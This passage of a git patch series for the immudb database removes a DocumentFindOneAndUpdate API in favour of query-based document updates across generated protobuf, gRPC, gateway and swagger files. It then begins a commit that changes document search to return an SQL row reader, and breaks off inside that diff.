immudb.documentschema.CollectionCreateRequest + (*CollectionCreateResponse)(nil), // 17: immudb.documentschema.CollectionCreateResponse + (*CollectionInformation)(nil), // 18: immudb.documentschema.CollectionInformation + (*CollectionGetResponse)(nil), // 19: immudb.documentschema.CollectionGetResponse + (*CollectionGetRequest)(nil), // 20: immudb.documentschema.CollectionGetRequest + (*CollectionListRequest)(nil), // 21: immudb.documentschema.CollectionListRequest + (*CollectionListResponse)(nil), // 22: immudb.documentschema.CollectionListResponse + (*CollectionDeleteRequest)(nil), // 23: immudb.documentschema.CollectionDeleteRequest + (*CollectionDeleteResponse)(nil), // 24: immudb.documentschema.CollectionDeleteResponse + (*CollectionUpdateRequest)(nil), // 25: immudb.documentschema.CollectionUpdateRequest + (*CollectionUpdateResponse)(nil), // 26: immudb.documentschema.CollectionUpdateResponse + (*DocumentInsertManyRequest)(nil), // 27: immudb.documentschema.DocumentInsertManyRequest + (*DocumentInsertManyResponse)(nil), // 28: immudb.documentschema.DocumentInsertManyResponse + nil, // 29: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry + nil, // 30: immudb.documentschema.CollectionInformation.IndexKeysEntry + nil, // 31: immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry + (*structpb.Struct)(nil), // 32: google.protobuf.Struct + (structpb.NullValue)(0), // 33: google.protobuf.NullValue + (*structpb.Value)(nil), // 34: google.protobuf.Value + (*schema.VerifiableTxV2)(nil), // 35: immudb.schema.VerifiableTxV2 } var file_documentschema_proto_depIdxs = []int32{ - 34, // 0: immudb.documentschema.DocumentInsertRequest.document:type_name -> google.protobuf.Struct - 34, // 1: immudb.documentschema.DocumentUpdateRequest.document:type_name -> google.protobuf.Struct - 35, // 2: immudb.documentschema.IndexValue.null_value:type_name -> google.protobuf.NullValue - 0, // 3: immudb.documentschema.DocumentQuery.operator:type_name -> immudb.documentschema.QueryOperator - 36, // 4: immudb.documentschema.DocumentQuery.value:type_name -> google.protobuf.Value - 7, // 5: immudb.documentschema.DocumentSearchRequest.query:type_name -> immudb.documentschema.DocumentQuery - 34, // 6: immudb.documentschema.DocumentSearchResponse.results:type_name -> google.protobuf.Struct - 37, // 7: immudb.documentschema.DocumentProofResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 - 14, // 8: immudb.documentschema.DocumentAuditResponse.results:type_name -> immudb.documentschema.DocumentAudit - 34, // 9: immudb.documentschema.DocumentAudit.document:type_name -> google.protobuf.Struct - 1, // 10: immudb.documentschema.IndexOption.type:type_name -> immudb.documentschema.IndexType - 31, // 11: immudb.documentschema.CollectionCreateRequest.indexKeys:type_name -> immudb.documentschema.CollectionCreateRequest.IndexKeysEntry - 18, // 12: immudb.documentschema.CollectionCreateResponse.collection:type_name -> immudb.documentschema.CollectionInformation - 32, // 13: immudb.documentschema.CollectionInformation.indexKeys:type_name -> immudb.documentschema.CollectionInformation.IndexKeysEntry - 18, // 14: immudb.documentschema.CollectionGetResponse.collection:type_name -> immudb.documentschema.CollectionInformation - 18, // 15: immudb.documentschema.CollectionListResponse.collections:type_name -> immudb.documentschema.CollectionInformation - 33, // 16: immudb.documentschema.CollectionUpdateRequest.addIndexes:type_name -> immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry - 18, // 17: immudb.documentschema.CollectionUpdateResponse.collection:type_name -> immudb.documentschema.CollectionInformation - 34, // 18: immudb.documentschema.DocumentInsertManyRequest.documents:type_name -> google.protobuf.Struct - 7, // 19: immudb.documentschema.DocumentFindOneAndUpdateRequest.query:type_name -> immudb.documentschema.DocumentQuery - 34, // 20: immudb.documentschema.DocumentFindOneAndUpdateRequest.document:type_name -> google.protobuf.Struct - 15, // 21: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption - 15, // 22: immudb.documentschema.CollectionInformation.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption - 15, // 23: immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry.value:type_name -> immudb.documentschema.IndexOption - 2, // 24: immudb.documentschema.DocumentService.DocumentInsert:input_type -> immudb.documentschema.DocumentInsertRequest - 4, // 25: immudb.documentschema.DocumentService.DocumentUpdate:input_type -> immudb.documentschema.DocumentUpdateRequest - 8, // 26: immudb.documentschema.DocumentService.DocumentSearch:input_type -> immudb.documentschema.DocumentSearchRequest - 12, // 27: immudb.documentschema.DocumentService.DocumentAudit:input_type -> immudb.documentschema.DocumentAuditRequest - 10, // 28: immudb.documentschema.DocumentService.DocumentProof:input_type -> immudb.documentschema.DocumentProofRequest - 16, // 29: immudb.documentschema.DocumentService.CollectionCreate:input_type -> immudb.documentschema.CollectionCreateRequest - 20, // 30: immudb.documentschema.DocumentService.CollectionGet:input_type -> immudb.documentschema.CollectionGetRequest - 21, // 31: immudb.documentschema.DocumentService.CollectionList:input_type -> immudb.documentschema.CollectionListRequest - 23, // 32: immudb.documentschema.DocumentService.CollectionDelete:input_type -> immudb.documentschema.CollectionDeleteRequest - 25, // 33: immudb.documentschema.DocumentService.CollectionUpdate:input_type -> immudb.documentschema.CollectionUpdateRequest - 27, // 34: immudb.documentschema.DocumentService.DocumentInsertMany:input_type -> immudb.documentschema.DocumentInsertManyRequest - 29, // 35: immudb.documentschema.DocumentService.DocumentFindOneAndUpdate:input_type -> immudb.documentschema.DocumentFindOneAndUpdateRequest - 3, // 36: immudb.documentschema.DocumentService.DocumentInsert:output_type -> immudb.documentschema.DocumentInsertResponse - 5, // 37: immudb.documentschema.DocumentService.DocumentUpdate:output_type -> immudb.documentschema.DocumentUpdateResponse - 9, // 38: immudb.documentschema.DocumentService.DocumentSearch:output_type -> immudb.documentschema.DocumentSearchResponse - 13, // 39: immudb.documentschema.DocumentService.DocumentAudit:output_type -> immudb.documentschema.DocumentAuditResponse - 11, // 40: immudb.documentschema.DocumentService.DocumentProof:output_type -> immudb.documentschema.DocumentProofResponse - 17, // 41: immudb.documentschema.DocumentService.CollectionCreate:output_type -> immudb.documentschema.CollectionCreateResponse - 19, // 42: immudb.documentschema.DocumentService.CollectionGet:output_type -> immudb.documentschema.CollectionGetResponse - 22, // 43: immudb.documentschema.DocumentService.CollectionList:output_type -> immudb.documentschema.CollectionListResponse - 24, // 44: immudb.documentschema.DocumentService.CollectionDelete:output_type -> immudb.documentschema.CollectionDeleteResponse - 26, // 45: immudb.documentschema.DocumentService.CollectionUpdate:output_type -> immudb.documentschema.CollectionUpdateResponse - 28, // 46: immudb.documentschema.DocumentService.DocumentInsertMany:output_type -> immudb.documentschema.DocumentInsertManyResponse - 30, // 47: immudb.documentschema.DocumentService.DocumentFindOneAndUpdate:output_type -> immudb.documentschema.DocumentFindOneAndUpdateResponse - 36, // [36:48] is the sub-list for method output_type - 24, // [24:36] is the sub-list for method input_type - 24, // [24:24] is the sub-list for extension type_name - 24, // [24:24] is the sub-list for extension extendee - 0, // [0:24] is the sub-list for field type_name + 32, // 0: immudb.documentschema.DocumentInsertRequest.document:type_name -> google.protobuf.Struct + 7, // 1: immudb.documentschema.DocumentUpdateRequest.query:type_name -> immudb.documentschema.DocumentQuery + 32, // 2: immudb.documentschema.DocumentUpdateRequest.document:type_name -> google.protobuf.Struct + 33, // 3: immudb.documentschema.IndexValue.null_value:type_name -> google.protobuf.NullValue + 0, // 4: immudb.documentschema.DocumentQuery.operator:type_name -> immudb.documentschema.QueryOperator + 34, // 5: immudb.documentschema.DocumentQuery.value:type_name -> google.protobuf.Value + 7, // 6: immudb.documentschema.DocumentSearchRequest.query:type_name -> immudb.documentschema.DocumentQuery + 32, // 7: immudb.documentschema.DocumentSearchResponse.results:type_name -> google.protobuf.Struct + 35, // 8: immudb.documentschema.DocumentProofResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 + 14, // 9: immudb.documentschema.DocumentAuditResponse.results:type_name -> immudb.documentschema.DocumentAudit + 32, // 10: immudb.documentschema.DocumentAudit.document:type_name -> google.protobuf.Struct + 1, // 11: immudb.documentschema.IndexOption.type:type_name -> immudb.documentschema.IndexType + 29, // 12: immudb.documentschema.CollectionCreateRequest.indexKeys:type_name -> immudb.documentschema.CollectionCreateRequest.IndexKeysEntry + 18, // 13: immudb.documentschema.CollectionCreateResponse.collection:type_name -> immudb.documentschema.CollectionInformation + 30, // 14: immudb.documentschema.CollectionInformation.indexKeys:type_name -> immudb.documentschema.CollectionInformation.IndexKeysEntry + 18, // 15: immudb.documentschema.CollectionGetResponse.collection:type_name -> immudb.documentschema.CollectionInformation + 18, // 16: immudb.documentschema.CollectionListResponse.collections:type_name -> immudb.documentschema.CollectionInformation + 31, // 17: immudb.documentschema.CollectionUpdateRequest.addIndexes:type_name -> immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry + 18, // 18: immudb.documentschema.CollectionUpdateResponse.collection:type_name -> immudb.documentschema.CollectionInformation + 32, // 19: immudb.documentschema.DocumentInsertManyRequest.documents:type_name -> google.protobuf.Struct + 15, // 20: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption + 15, // 21: immudb.documentschema.CollectionInformation.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption + 15, // 22: immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry.value:type_name -> immudb.documentschema.IndexOption + 2, // 23: immudb.documentschema.DocumentService.DocumentInsert:input_type -> immudb.documentschema.DocumentInsertRequest + 4, // 24: immudb.documentschema.DocumentService.DocumentUpdate:input_type -> immudb.documentschema.DocumentUpdateRequest + 8, // 25: immudb.documentschema.DocumentService.DocumentSearch:input_type -> immudb.documentschema.DocumentSearchRequest + 12, // 26: immudb.documentschema.DocumentService.DocumentAudit:input_type -> immudb.documentschema.DocumentAuditRequest + 10, // 27: immudb.documentschema.DocumentService.DocumentProof:input_type -> immudb.documentschema.DocumentProofRequest + 16, // 28: immudb.documentschema.DocumentService.CollectionCreate:input_type -> immudb.documentschema.CollectionCreateRequest + 20, // 29: immudb.documentschema.DocumentService.CollectionGet:input_type -> immudb.documentschema.CollectionGetRequest + 21, // 30: immudb.documentschema.DocumentService.CollectionList:input_type -> immudb.documentschema.CollectionListRequest + 23, // 31: immudb.documentschema.DocumentService.CollectionDelete:input_type -> immudb.documentschema.CollectionDeleteRequest + 25, // 32: immudb.documentschema.DocumentService.CollectionUpdate:input_type -> immudb.documentschema.CollectionUpdateRequest + 27, // 33: immudb.documentschema.DocumentService.DocumentInsertMany:input_type -> immudb.documentschema.DocumentInsertManyRequest + 3, // 34: immudb.documentschema.DocumentService.DocumentInsert:output_type -> immudb.documentschema.DocumentInsertResponse + 5, // 35: immudb.documentschema.DocumentService.DocumentUpdate:output_type -> immudb.documentschema.DocumentUpdateResponse + 9, // 36: immudb.documentschema.DocumentService.DocumentSearch:output_type -> immudb.documentschema.DocumentSearchResponse + 13, // 37: immudb.documentschema.DocumentService.DocumentAudit:output_type -> immudb.documentschema.DocumentAuditResponse + 11, // 38: immudb.documentschema.DocumentService.DocumentProof:output_type -> immudb.documentschema.DocumentProofResponse + 17, // 39: immudb.documentschema.DocumentService.CollectionCreate:output_type -> immudb.documentschema.CollectionCreateResponse + 19, // 40: immudb.documentschema.DocumentService.CollectionGet:output_type -> immudb.documentschema.CollectionGetResponse + 22, // 41: immudb.documentschema.DocumentService.CollectionList:output_type -> immudb.documentschema.CollectionListResponse + 24, // 42: immudb.documentschema.DocumentService.CollectionDelete:output_type -> immudb.documentschema.CollectionDeleteResponse + 26, // 43: immudb.documentschema.DocumentService.CollectionUpdate:output_type -> immudb.documentschema.CollectionUpdateResponse + 28, // 44: immudb.documentschema.DocumentService.DocumentInsertMany:output_type -> immudb.documentschema.DocumentInsertManyResponse + 34, // [34:45] is the sub-list for method output_type + 23, // [23:34] is the sub-list for method input_type + 23, // [23:23] is the sub-list for extension type_name + 23, // [23:23] is the sub-list for extension extendee + 0, // [0:23] is the sub-list for field type_name } func init() { file_documentschema_proto_init() } @@ -2624,30 +2483,6 @@ func file_documentschema_proto_init() { return nil } } - file_documentschema_proto_msgTypes[27].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentFindOneAndUpdateRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_documentschema_proto_msgTypes[28].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentFindOneAndUpdateResponse); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } } file_documentschema_proto_msgTypes[4].OneofWrappers = []interface{}{ (*IndexValue_NullValue)(nil), @@ -2661,7 +2496,7 @@ func file_documentschema_proto_init() { GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_documentschema_proto_rawDesc, NumEnums: 2, - NumMessages: 32, + NumMessages: 30, NumExtensions: 0, NumServices: 1, }, diff --git a/pkg/api/documentschema/documentschema.pb.gw.go b/pkg/api/documentschema/documentschema.pb.gw.go index 2bc2e2db39..4184aeeec1 100644 --- a/pkg/api/documentschema/documentschema.pb.gw.go +++ b/pkg/api/documentschema/documentschema.pb.gw.go @@ -411,40 +411,6 @@ func local_request_DocumentService_DocumentInsertMany_0(ctx context.Context, mar } -func request_DocumentService_DocumentFindOneAndUpdate_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq DocumentFindOneAndUpdateRequest - var metadata runtime.ServerMetadata - - newReader, berr := utilities.IOReaderFactory(req.Body) - if berr != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) - } - if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) - } - - msg, err := client.DocumentFindOneAndUpdate(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) - return msg, metadata, err - -} - -func local_request_DocumentService_DocumentFindOneAndUpdate_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq DocumentFindOneAndUpdateRequest - var metadata runtime.ServerMetadata - - newReader, berr := utilities.IOReaderFactory(req.Body) - if berr != nil { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) - } - if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { - return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) - } - - msg, err := server.DocumentFindOneAndUpdate(ctx, &protoReq) - return msg, metadata, err - -} - // RegisterDocumentServiceHandlerServer registers the http handlers for service DocumentService to "mux". // UnaryRPC :call DocumentServiceServer directly. // StreamingRPC :currently unsupported pending https://github.com/grpc/grpc-go/issues/906. @@ -704,29 +670,6 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv }) - mux.Handle("POST", pattern_DocumentService_DocumentFindOneAndUpdate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { - ctx, cancel := context.WithCancel(req.Context()) - defer cancel() - var stream runtime.ServerTransportStream - ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) - inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) - rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - resp, md, err := local_request_DocumentService_DocumentFindOneAndUpdate_0(rctx, inboundMarshaler, server, req, pathParams) - md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) - ctx = runtime.NewServerMetadataContext(ctx, md) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - - forward_DocumentService_DocumentFindOneAndUpdate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) - - }) - return nil } @@ -988,26 +931,6 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv }) - mux.Handle("POST", pattern_DocumentService_DocumentFindOneAndUpdate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { - ctx, cancel := context.WithCancel(req.Context()) - defer cancel() - inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) - rctx, err := runtime.AnnotateContext(ctx, mux, req) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - resp, md, err := request_DocumentService_DocumentFindOneAndUpdate_0(rctx, inboundMarshaler, client, req, pathParams) - ctx = runtime.NewServerMetadataContext(ctx, md) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - - forward_DocumentService_DocumentFindOneAndUpdate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) - - }) - return nil } @@ -1033,8 +956,6 @@ var ( pattern_DocumentService_CollectionUpdate_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "update"}, "", runtime.AssumeColonVerbOpt(true))) pattern_DocumentService_DocumentInsertMany_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "insertMany"}, "", runtime.AssumeColonVerbOpt(true))) - - pattern_DocumentService_DocumentFindOneAndUpdate_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "findOneAndUpdate"}, "", runtime.AssumeColonVerbOpt(true))) ) var ( @@ -1059,6 +980,4 @@ var ( forward_DocumentService_CollectionUpdate_0 = runtime.ForwardResponseMessage forward_DocumentService_DocumentInsertMany_0 = runtime.ForwardResponseMessage - - forward_DocumentService_DocumentFindOneAndUpdate_0 = runtime.ForwardResponseMessage ) diff --git a/pkg/api/documentschema/documentschema.proto b/pkg/api/documentschema/documentschema.proto index 624bdb65a0..1447fb5a71 100644 --- a/pkg/api/documentschema/documentschema.proto +++ b/pkg/api/documentschema/documentschema.proto @@ -60,7 +60,8 @@ message DocumentInsertResponse { message DocumentUpdateRequest { string collection = 1; - google.protobuf.Struct document = 2; + repeated DocumentQuery query = 2; + google.protobuf.Struct document = 3; } message DocumentUpdateResponse { @@ -200,17 +201,6 @@ message DocumentInsertManyResponse { uint64 transactionId = 2; } -message DocumentFindOneAndUpdateRequest { - string collection = 1; - repeated DocumentQuery query = 2; - google.protobuf.Struct document = 3; -} - -message DocumentFindOneAndUpdateResponse { - uint64 transactionId = 1; - uint64 revision = 2; -} - service DocumentService { rpc DocumentInsert(DocumentInsertRequest) returns (DocumentInsertResponse) { option (google.api.http) = { @@ -328,16 +318,4 @@ service DocumentService { }; } - rpc DocumentFindOneAndUpdate(DocumentFindOneAndUpdateRequest) returns (DocumentFindOneAndUpdateResponse) { - option (google.api.http) = { - post: "/documents/findOneAndUpdate" - body: "*" - }; - option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { - tags: [ - "documents" - ]; - }; - } - } diff --git a/pkg/api/documentschema/documentschema.swagger.json b/pkg/api/documentschema/documentschema.swagger.json index 5d6458054e..65ef6928cf 100644 --- a/pkg/api/documentschema/documentschema.swagger.json +++ b/pkg/api/documentschema/documentschema.swagger.json @@ -202,38 +202,6 @@ ] } }, - "/documents/findOneAndUpdate": { - "post": { - "operationId": "DocumentService_DocumentFindOneAndUpdate", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/documentschemaDocumentFindOneAndUpdateResponse" - } - }, - "default": { - "description": "An unexpected error response.", - "schema": { - "$ref": "#/definitions/runtimeError" - } - } - }, - "parameters": [ - { - "name": "body", - "in": "body", - "required": true, - "schema": { - "$ref": "#/definitions/documentschemaDocumentFindOneAndUpdateRequest" - } - } - ], - "tags": [ - "documents" - ] - } - }, "/documents/insert": { "put": { "operationId": "DocumentService_DocumentInsert", @@ -532,36 +500,6 @@ } } }, - "documentschemaDocumentFindOneAndUpdateRequest": { - "type": "object", - "properties": { - "collection": { - "type": "string" - }, - "query": { - "type": "array", - "items": { - "$ref": "#/definitions/documentschemaDocumentQuery" - } - }, - "document": { - "type": "object" - } - } - }, - "documentschemaDocumentFindOneAndUpdateResponse": { - "type": "object", - "properties": { - "transactionId": { - "type": "string", - "format": "uint64" - }, - "revision": { - "type": "string", - "format": "uint64" - } - } - }, "documentschemaDocumentInsertManyRequest": { "type": "object", "properties": { @@ -705,6 +643,12 @@ "collection": { "type": "string" }, + "query": { + "type": "array", + "items": { + "$ref": "#/definitions/documentschemaDocumentQuery" + } + }, "document": { "type": "object" } diff --git a/pkg/api/documentschema/documentschema_grpc.pb.go b/pkg/api/documentschema/documentschema_grpc.pb.go index ea94bc13f7..c326456b6d 100644 --- a/pkg/api/documentschema/documentschema_grpc.pb.go +++ b/pkg/api/documentschema/documentschema_grpc.pb.go @@ -29,7 +29,6 @@ type DocumentServiceClient interface { CollectionDelete(ctx context.Context, in *CollectionDeleteRequest, opts ...grpc.CallOption) (*CollectionDeleteResponse, error) CollectionUpdate(ctx context.Context, in *CollectionUpdateRequest, opts ...grpc.CallOption) (*CollectionUpdateResponse, error) DocumentInsertMany(ctx context.Context, in *DocumentInsertManyRequest, opts ...grpc.CallOption) (*DocumentInsertManyResponse, error) - DocumentFindOneAndUpdate(ctx context.Context, in *DocumentFindOneAndUpdateRequest, opts ...grpc.CallOption) (*DocumentFindOneAndUpdateResponse, error) } type documentServiceClient struct { @@ -139,15 +138,6 @@ func (c *documentServiceClient) DocumentInsertMany(ctx context.Context, in *Docu return out, nil } -func (c *documentServiceClient) DocumentFindOneAndUpdate(ctx context.Context, in *DocumentFindOneAndUpdateRequest, opts ...grpc.CallOption) (*DocumentFindOneAndUpdateResponse, error) { - out := new(DocumentFindOneAndUpdateResponse) - err := c.cc.Invoke(ctx, "/immudb.documentschema.DocumentService/DocumentFindOneAndUpdate", in, out, opts...) - if err != nil { - return nil, err - } - return out, nil -} - // DocumentServiceServer is the server API for DocumentService service. // All implementations should embed UnimplementedDocumentServiceServer // for forward compatibility @@ -163,7 +153,6 @@ type DocumentServiceServer interface { CollectionDelete(context.Context, *CollectionDeleteRequest) (*CollectionDeleteResponse, error) CollectionUpdate(context.Context, *CollectionUpdateRequest) (*CollectionUpdateResponse, error) DocumentInsertMany(context.Context, *DocumentInsertManyRequest) (*DocumentInsertManyResponse, error) - DocumentFindOneAndUpdate(context.Context, *DocumentFindOneAndUpdateRequest) (*DocumentFindOneAndUpdateResponse, error) } // UnimplementedDocumentServiceServer should be embedded to have forward compatible implementations. @@ -203,9 +192,6 @@ func (UnimplementedDocumentServiceServer) CollectionUpdate(context.Context, *Col func (UnimplementedDocumentServiceServer) DocumentInsertMany(context.Context, *DocumentInsertManyRequest) (*DocumentInsertManyResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method DocumentInsertMany not implemented") } -func (UnimplementedDocumentServiceServer) DocumentFindOneAndUpdate(context.Context, *DocumentFindOneAndUpdateRequest) (*DocumentFindOneAndUpdateResponse, error) { - return nil, status.Errorf(codes.Unimplemented, "method DocumentFindOneAndUpdate not implemented") -} // UnsafeDocumentServiceServer may be embedded to opt out of forward compatibility for this service. // Use of this interface is not recommended, as added methods to DocumentServiceServer will @@ -416,24 +402,6 @@ func _DocumentService_DocumentInsertMany_Handler(srv interface{}, ctx context.Co return interceptor(ctx, in, info, handler) } -func _DocumentService_DocumentFindOneAndUpdate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(DocumentFindOneAndUpdateRequest) - if err := dec(in); err != nil { - return nil, err - } - if interceptor == nil { - return srv.(DocumentServiceServer).DocumentFindOneAndUpdate(ctx, in) - } - info := &grpc.UnaryServerInfo{ - Server: srv, - FullMethod: "/immudb.documentschema.DocumentService/DocumentFindOneAndUpdate", - } - handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(DocumentServiceServer).DocumentFindOneAndUpdate(ctx, req.(*DocumentFindOneAndUpdateRequest)) - } - return interceptor(ctx, in, info, handler) -} - // DocumentService_ServiceDesc is the grpc.ServiceDesc for DocumentService service. // It's only intended for direct use with grpc.RegisterService, // and not to be introspected or modified (even as a copy) @@ -485,10 +453,6 @@ var DocumentService_ServiceDesc = grpc.ServiceDesc{ MethodName: "DocumentInsertMany", Handler: _DocumentService_DocumentInsertMany_Handler, }, - { - MethodName: "DocumentFindOneAndUpdate", - Handler: _DocumentService_DocumentFindOneAndUpdate_Handler, - }, }, Streams: []grpc.StreamDesc{}, Metadata: "documentschema.proto", diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 944e3fef0d..d77a0ce0c0 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -58,8 +58,6 @@ type DocumentDatabase interface { DocumentProof(ctx context.Context, req *schemav2.DocumentProofRequest) (*schemav2.DocumentProofResponse, error) // DocumentInsertMany creates a new document DocumentInsertMany(ctx context.Context, req *schemav2.DocumentInsertManyRequest) (*schemav2.DocumentInsertManyResponse, error) - // DocumentFindOneAndUpdate finds a document and updates it - DocumentFindOneAndUpdate(ctx context.Context, req *schemav2.DocumentFindOneAndUpdateRequest) (*schemav2.DocumentFindOneAndUpdateResponse, error) } // CreateCollection creates a new collection @@ -262,7 +260,16 @@ func (d *db) DocumentAudit(ctx context.Context, req *schemav2.DocumentAuditReque // UpdateDocument updates a document func (d *db) UpdateDocument(ctx context.Context, req *schemav2.DocumentUpdateRequest) (*schemav2.DocumentUpdateResponse, error) { - txID, rev, err := d.documentEngine.UpdateDocument(ctx, req.Collection, req.Document) + queries := make([]*document.Query, 0, len(req.Query)) + for _, q := range req.Query { + queries = append(queries, &document.Query{ + Operator: int(q.Operator), + Field: q.Field, + Value: q.Value, + }) + } + + txID, rev, err := d.documentEngine.UpdateDocument(ctx, req.Collection, queries, req.Document) if err != nil { return nil, err } @@ -348,24 +355,3 @@ func (d *db) DocumentInsertMany(ctx context.Context, req *schemav2.DocumentInser TransactionId: txID, }, nil } - -func (d *db) DocumentFindOneAndUpdate(ctx context.Context, req *schemav2.DocumentFindOneAndUpdateRequest) (*schemav2.DocumentFindOneAndUpdateResponse, error) { - queries := make([]*document.Query, 0, len(req.Query)) - for _, q := range req.Query { - queries = append(queries, &document.Query{ - Operator: int(q.Operator), - Field: q.Field, - Value: q.Value, - }) - } - - txID, rev, err := d.documentEngine.FindOneAndUpdate(ctx, req.Collection, queries, req.Document) - if err != nil { - return nil, err - } - - return &schemav2.DocumentFindOneAndUpdateResponse{ - TransactionId: txID, - Revision: rev, - }, nil -} diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index 169f10859d..bff5b0a391 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -292,7 +292,3 @@ func (d *closedDB) DocumentProof(ctx context.Context, req *schemav2.DocumentProo func (d *closedDB) DocumentInsertMany(ctx context.Context, req *schemav2.DocumentInsertManyRequest) (*schemav2.DocumentInsertManyResponse, error) { return nil, store.ErrAlreadyClosed } - -func (d *closedDB) DocumentFindOneAndUpdate(ctx context.Context, req *schemav2.DocumentFindOneAndUpdateRequest) (*schemav2.DocumentFindOneAndUpdateResponse, error) { - return nil, store.ErrAlreadyClosed -} diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index a7e5daf0ea..7608a6110c 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -177,16 +177,3 @@ func (s *ImmuServer) DocumentInsertMany(ctx context.Context, req *documentschema } return resp, nil } - -func (s *ImmuServer) DocumentFindOneAndUpdate(ctx context.Context, req *documentschema.DocumentFindOneAndUpdateRequest) (*documentschema.DocumentFindOneAndUpdateResponse, error) { - db, err := s.getDBFromCtx(ctx, "DocumentFindOneAndUpdate") - if err != nil { - return nil, err - } - - resp, err := db.DocumentFindOneAndUpdate(ctx, req) - if err != nil { - return nil, err - } - return resp, nil -} From 6f2dee8dbf98f6d31155893c5bc4491fd488d73f Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Thu, 13 Apr 2023 16:42:34 +0530 Subject: [PATCH 0454/1062] chore: return sql reader on document search --- embedded/document/engine.go | 71 +++++------ embedded/document/engine_test.go | 162 +++++++++++++++++++------ pkg/database/document_database.go | 46 +++---- pkg/database/document_database_test.go | 26 ++-- pkg/server/db_dummy_closed.go | 2 +- pkg/server/documents_operations.go | 97 +++++++++++++-- pkg/server/sessions/session.go | 56 +++++++++ 7 files changed, 344 insertions(+), 116 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 5f63c0e76c..842e204087 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -515,55 +515,27 @@ func (e *Engine) upsertDocument(ctx context.Context, collectionName string, doc return docID, txID, rev, nil } -func (e *Engine) GetDocuments(ctx context.Context, collectionName string, queries []*Query, pageNum int, itemsPerPage int) ([]*structpb.Struct, error) { +func (e *Engine) GetDocuments(ctx context.Context, collectionName string, queries []*Query) (sql.RowReader, error) { exp, err := e.generateExp(ctx, collectionName, queries) if err != nil { return nil, err } - offset := (pageNum - 1) * itemsPerPage - limit := itemsPerPage - if offset < 0 || limit < 1 { - return nil, fmt.Errorf("invalid offset or limit") - } - - query := sql.NewSelectStmt( + op := sql.NewSelectStmt( []sql.Selector{sql.NewColSelector(collectionName, DocumentBLOBField)}, collectionName, exp, - sql.NewInteger(int64(limit)), - sql.NewInteger(int64(offset)), + nil, + nil, ) - r, err := e.sqlEngine.QueryPreparedStmt(ctx, nil, query, nil) + // returning an open reader here, so that the caller HAS to close it + r, err := e.sqlEngine.QueryPreparedStmt(ctx, nil, op, nil) if err != nil { return nil, err } - defer r.Close() - - var 